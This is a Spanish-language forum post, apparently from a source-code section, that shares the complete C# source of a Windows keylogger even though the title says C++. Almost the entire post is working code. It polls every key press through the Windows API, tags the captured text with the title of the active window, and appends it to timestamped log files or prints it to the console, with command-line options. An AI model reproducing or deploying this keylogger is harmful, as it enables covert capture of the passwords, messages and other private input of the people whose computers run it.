Un simple keylogger en C++

Código: Seleccionar todo

/* *************************************************************************** *
 *  Title: .NET Keylogger
 * Author: D3t0x
 *   Date: 5/21/2007
 *   Type: Open Source
 * 
 * This software is based off "ArticleKeyLog";
 * which can be found at www.z3d0clan.com.
 * Alexander Kent is the original author. I have
 * modified the source to include some more advanced
 * logging features I thought were needed.
 * 
 * Added features:
 * » Focused/Active window title logging.
 * » Accurate character detection.(His version would display only CAPS)
 * » Log file formatting.
 * » Custom args [below]
 * *************************************************************************** *
 * Usage:
 * You have several args you can pass to customize the
 * program's execution.
 * netLogger.exe -f [filename] -m [mode] -i [interval] -o [output]
 *              -f [filename](Name of the file. ".log" will always be the ext.)
 *              -m ['hour' or 'day'] saves logfile name appended by the hour or day.
 *              -i [interval] in milliseconds, flushes the buffer to either the
 *                                     console or file. Shorter time = more cpu usage.
 *                                     10000=10seconds : 60000=1minute : etc...
 *              -o ['file' or 'console'] Outputs all data to either a file or console.
 * *************************************************************************** *
 * ArticleKeyLog - Basic Keystroke Mining
 * Date:       05/12/2005
 * Author:       D3t0x
 * [email protected]
 * (www.z3d0clan.com)
 * *************************************************************************** */
 
using System;
using System.IO;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
 
namespace NetKeyLogger
{       
       public class Keylogger
       {
              [DllImport("User32.dll")]
                     private static extern short GetAsyncKeyState(System.Windows.Forms.Keys vKey); // Keys enumeration
              [DllImport("User32.dll")]
                     private static extern short GetAsyncKeyState(System.Int32 vKey);
              [DllImport("User32.dll")]
                     public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
              [DllImport("User32.dll")]
                     public static extern int GetForegroundWindow();
 
              private System.String keyBuffer;
              private System.Timers.Timer timerKeyMine;
              private System.Timers.Timer timerBufferFlush;
              private System.String hWndTitle;
              private System.String hWndTitlePast;
              public  System.String LOG_FILE;
              public  System.String LOG_MODE;
              public  System.String LOG_OUT;
              private bool tglAlt = false;
              private bool tglControl = false;
              private bool tglCapslock = false;
 
              public Keylogger()
              {
                     hWndTitle = ActiveApplTitle();
                     hWndTitlePast = hWndTitle;
 
                     //
                     // keyBuffer
                     //
                     keyBuffer = "";
 
                     // 
                     // timerKeyMine
                     // 
                     this.timerKeyMine = new System.Timers.Timer();
                     this.timerKeyMine.Enabled = true;
                     this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
                     this.timerKeyMine.Interval = 10;
                     
                     // 
                     // timerBufferFlush
                     //
                     this.timerBufferFlush = new System.Timers.Timer();
                     this.timerBufferFlush.Enabled = true;
                     this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
                     this.timerBufferFlush.Interval = 1800000; // 30 minutes
              }
 
              public static string ActiveApplTitle()
              {
                     int hwnd = GetForegroundWindow();
                     StringBuilder sbTitle = new StringBuilder(1024);
                     int intLength = GetWindowText(hwnd, sbTitle, sbTitle.Capacity);
                     if ((intLength <= 0) || (intLength > sbTitle.Length)) return "unknown";
                     string title = sbTitle.ToString();
                     return title;
              }
 
              private void timerKeyMine_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
              {
                     hWndTitle = ActiveApplTitle();
 
                     if(hWndTitle != hWndTitlePast)
                     {
                            if(LOG_OUT == "file")
                                   keyBuffer += "[" + hWndTitle + "]";
                            else
                            {
                                   Flush2Console("[" + hWndTitle + "]", true);
                                   if(keyBuffer.Length > 0)
                                          Flush2Console(keyBuffer, false);
                            }
                            hWndTitlePast = hWndTitle;
                     }
                     
                     foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
                     {
                            if(GetAsyncKeyState(i) == -32767)
                            {
                                   //Console.WriteLine(i.ToString()); // Outputs the pressed key code [Debugging purposes]
 
 
                                   if(ControlKey)
                                   {
                                          if(!tglControl)
                                          {
                                                 tglControl = true;
                                                 keyBuffer += "<Ctrl=On>";
                                          }
                                   }
                                   else
                                   {
                                          if(tglControl)
                                          {
                                                 tglControl = false;
                                                 keyBuffer += "<Ctrl=Off>";
                                          }
                                   }
 
                                   if(AltKey)
                                   {
                                          if(!tglAlt)
                                          {
                                                 tglAlt = true;
                                                 keyBuffer += "<Alt=On>";
                                          }
                                   }
                                   else
                                   {
                                          if(tglAlt)
                                          {
                                                 tglAlt = false;
                                                 keyBuffer += "<Alt=Off>";
                                          }
                                   }
 
                                   if(CapsLock)
                                   {
                                          if(!tglCapslock)
                                          {
                                                 tglCapslock = true;
                                                 keyBuffer += "<CapsLock=On>";
                                          }
                                   }
                                   else
                                   {
                                          if(tglCapslock)
                                          {
                                                 tglCapslock = false;
                                                 keyBuffer += "<CapsLock=Off>";
                                          }
                                   }
                                   
                                   if(Enum.GetName(typeof(Keys), i) == "LButton")
                                          keyBuffer += "<LMouse>";
                                   else if(Enum.GetName(typeof(Keys), i) == "RButton")
                                          keyBuffer += "<RMouse>";
                                   else if(Enum.GetName(typeof(Keys), i) == "Back")
                                          keyBuffer += "<Backspace>";
                                   else if(Enum.GetName(typeof(Keys), i) == "Space")
                                          keyBuffer += " ";
                                   else if(Enum.GetName(typeof(Keys), i) == "Return")
                                          keyBuffer += "<Enter>";
                                   else if(Enum.GetName(typeof(Keys), i) == "ControlKey")
                                          continue;
                                   else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
                                          continue;
                                   else if(Enum.GetName(typeof(Keys), i) == "RControlKey")
                                          continue;
                                   else if(Enum.GetName(typeof(Keys), i) == "LControlKey")
                                          continue;
                                   else if(Enum.GetName(typeof(Keys), i) == "ShiftKey")
                                          continue;
                                   else if(Enum.GetName(typeof(Keys), i) == "LShiftKey")
                                          continue;
                                   else if(Enum.GetName(typeof(Keys), i) == "RShiftKey")
                                          continue;
                                   else if(Enum.GetName(typeof(Keys), i) == "Delete")
                                          keyBuffer += "<Del>";
                                   else if(Enum.GetName(typeof(Keys), i) == "Insert")
                                          keyBuffer += "<Ins>";
                                   else if(Enum.GetName(typeof(Keys), i) == "Home")
                                          keyBuffer += "<Home>";
                                   else if(Enum.GetName(typeof(Keys), i) == "End")
                                          keyBuffer += "<End>";
                                   else if(Enum.GetName(typeof(Keys), i) == "Tab")
                                          keyBuffer += "<Tab>";
                                   else if(Enum.GetName(typeof(Keys), i) == "Prior")
                                          keyBuffer += "<Page Up>";
                                   else if(Enum.GetName(typeof(Keys), i) == "PageDown")
                                          keyBuffer += "<Page Down>";
                                   else if(Enum.GetName(typeof(Keys), i) == "LWin" || Enum.GetName(typeof(Keys), i) == "RWin")
                                          keyBuffer += "<Win>";
                                   
                                   /* ********************************************** *
                                    * Detect key based off ShiftKey Toggle
                                    * ********************************************** */
                                   if(ShiftKey)
                                   {
                                          if(i >= 65 && i <= 122)
                                          {
                                                 keyBuffer += (char)i;
                                          }
                                          else if(i.ToString() == "49")
                                                 keyBuffer += "!";
                                          else if(i.ToString() == "50")
                                                 keyBuffer += "@";
                                          else if(i.ToString() == "51")
                                                 keyBuffer += "#";
                                          else if(i.ToString() == "52")
                                                 keyBuffer += "$";
                                          else if(i.ToString() == "53")
                                                 keyBuffer += "%";
                                          else if(i.ToString() == "54")
                                                 keyBuffer += "^";
                                          else if(i.ToString() == "55")
                                                 keyBuffer += "&";
                                          else if(i.ToString() == "56")
                                                 keyBuffer += "*";
                                          else if(i.ToString() == "57")
                                                 keyBuffer += "(";
                                          else if(i.ToString() == "48")
                                                 keyBuffer += ")";
                                          else if(i.ToString() == "192")
                                                 keyBuffer += "~";
                                          else if(i.ToString() == "189")
                                                 keyBuffer += "_";
                                          else if(i.ToString() == "187")
                                                 keyBuffer += "+";
                                          else if(i.ToString() == "219")
                                                 keyBuffer += "{";
                                          else if(i.ToString() == "221")
                                                 keyBuffer += "}";
                                          else if(i.ToString() == "220")
                                                 keyBuffer += "|";
                                          else if(i.ToString() == "186")
                                                 keyBuffer += ":";
                                          else if(i.ToString() == "222")
                                                 keyBuffer += "\"";
                                          else if(i.ToString() == "188")
                                                 keyBuffer += "<";
                                          else if(i.ToString() == "190")
                                                 keyBuffer += ">";
                                          else if(i.ToString() == "191")
                                                 keyBuffer += "?";
                                   }
                                   else
                                   {
                                          if(i >= 65 && i <= 122)
                                          {
                                                 keyBuffer += (char)(i + 32);
                                          }
                                          else if(i.ToString() == "49")
                                                 keyBuffer += "1";
                                          else if(i.ToString() == "50")
                                                 keyBuffer += "2";
                                          else if(i.ToString() == "51")
                                                 keyBuffer += "3";
                                          else if(i.ToString() == "52")
                                                 keyBuffer += "4";
                                          else if(i.ToString() == "53")
                                                 keyBuffer += "5";
                                          else if(i.ToString() == "54")
                                                 keyBuffer += "6";
                                          else if(i.ToString() == "55")
                                                 keyBuffer += "7";
                                          else if(i.ToString() == "56")
                                                 keyBuffer += "8";
                                          else if(i.ToString() == "57")
                                                 keyBuffer += "9";
                                          else if(i.ToString() == "48")
                                                 keyBuffer += "0";
                                          else if(i.ToString() == "189")
                                                 keyBuffer += "-";
                                          else if(i.ToString() == "187")
                                                 keyBuffer += "=";
                                          else if(i.ToString() == "92")
                                                 keyBuffer += "`";
                                          else if(i.ToString() == "219")
                                                 keyBuffer += "[";
                                          else if(i.ToString() == "221")
                                                 keyBuffer += "]";
                                          else if(i.ToString() == "220")
                                                 keyBuffer += "\\";
                                          else if(i.ToString() == "186")
                                                 keyBuffer += ";";
                                          else if(i.ToString() == "222")
                                                 keyBuffer += "'";
                                          else if(i.ToString() == "188")
                                                 keyBuffer += ",";
                                          else if(i.ToString() == "190")
                                                 keyBuffer += ".";
                                          else if(i.ToString() == "191")
                                                 keyBuffer += "/";
                                   }
                            }
                     }
              }
 
              #region toggles
              public static bool ControlKey
              {
                     get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); }
              } // ControlKey
              public static bool ShiftKey
              {
                     get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); }
              } // ShiftKey
              public static bool CapsLock
              {
                     get { return Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock) & 0x8000); }
              } // CapsLock
              public static bool AltKey
              {
                     get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); }
              } // AltKey
              #endregion
 
              private void timerBufferFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
              {
                     if(LOG_OUT == "file")
                     {
                            if(keyBuffer.Length > 0)
                                   Flush2File(LOG_FILE);
                     }
                     else
                     {
                            if(keyBuffer.Length > 0)
                                   Flush2Console(keyBuffer, false);
                     }
              }
 
              public void Flush2Console(string data, bool writeLine)
              {
                     if(writeLine)
                            Console.WriteLine(data);
                     else
                     {
                            Console.Write(data);
                            keyBuffer = ""; // reset
                     }
              }
 
              public void Flush2File(string file)
              {
                     string AmPm = "";
                     try
                     {
                            if(LOG_MODE == "hour")
                            {
                                   if(DateTime.Now.TimeOfDay.Hours >= 0 && DateTime.Now.TimeOfDay.Hours <= 11)
                                          AmPm = "AM";
                                   else
                                          AmPm = "PM";
                                   file += "_" + DateTime.Now.ToString("hh") + AmPm + ".log";
                            }
                            else
                                   file += "_" + DateTime.Now.ToString("MM.dd.yyyy") + ".log";
 
                            FileStream fil = new FileStream(file, FileMode.Append, FileAccess.Write);
                            using(StreamWriter sw = new StreamWriter(fil))
                            {
                                   sw.Write(keyBuffer);
                            }
 
                            keyBuffer = ""; // reset
                     }
                     catch(Exception ex)
                     {
                            // Uncomment this to help debug.
                            // Console.WriteLine(ex.Message);
                            throw;
                     }
              }
 
              #region Properties
              public System.Boolean Enabled
              {
                     get
                     {
                            return timerKeyMine.Enabled && timerBufferFlush.Enabled;
                     }
                     set
                     {
                            timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
                     }
              }
 
              public System.Double FlushInterval
              {
                     get
                     {
                            return timerBufferFlush.Interval;
                     }
                     set
                     {
                            timerBufferFlush.Interval = value;
                     }
              }
 
              public System.Double MineInterval
              {
                     get
                     {
                            return timerKeyMine.Interval;
                     }
                     set
                     {
                            timerKeyMine.Interval = value;
                     }
              }
              #endregion
 
       }
}
Responder

Volver a “Fuentes”